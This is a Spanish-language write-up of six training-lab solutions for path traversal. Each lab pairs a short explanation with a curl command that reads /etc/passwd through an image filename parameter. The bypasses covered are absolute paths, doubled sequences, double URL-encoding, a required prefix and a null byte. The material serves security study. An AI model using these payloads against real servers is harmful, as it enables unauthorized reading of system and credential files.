Path Traversal
Lectura de archivos arbitrarios mediante directory traversal: caso simple, bypass de rutas absolutas, secuencias dobladas, URL-encoding doble, validación de prefijo y null byte bypass.
Reading arbitrary files via directory traversal
Lab 1File path traversal, simple case
La página es vulnerable en el parámetro filename de la visualización de imágenes. Usar ../ para subir directorios y leer /etc/passwd.
curl -i "https://LAB-ID.web-security-academy.net/image?filename=../../../etc/passwd"
Common obstacles to exploiting path traversal
Lab 2Traversal sequences blocked with absolute path bypass
El servidor bloquea las secuencias ../. Usar una ruta absoluta directa en su lugar.
curl -i "https://LAB-ID.web-security-academy.net/image?filename=/etc/passwd"
Lab 3Traversal sequences stripped non-recursively
El servidor reemplaza .. por . y ../ por / de forma no recursiva. Doblar las secuencias para que después de la sustitución quede el traversal correcto.
curl -i "https://LAB-ID.web-security-academy.net/image?filename=....//....//....//....//....//etc/passwd"
Lab 4Traversal sequences stripped with superfluous URL-decode
El servidor sanitiza con URL-decode. Encodificar ../ dos veces (%252f → primera decodificación da %2f → segunda da /).
curl -i "https://LAB-ID.web-security-academy.net/image?filename=..%252f..%252f..%252fetc/passwd"
Lab 5Validation of start of path
El servidor valida que el path comience con /var/www/images/. Incluir ese prefijo y luego hacer traversal para salir del directorio.
curl -i "https://LAB-ID.web-security-academy.net/image?filename=/var/www/images/../../../etc/passwd"
Lab 6Validation of file extension with null byte bypass
El servidor requiere extensión .png. Usar el byte nulo %00 para terminar la cadena antes de la extensión.
curl -i "https://LAB-ID.web-security-academy.net/image?filename=../../../../etc/passwd%00.png"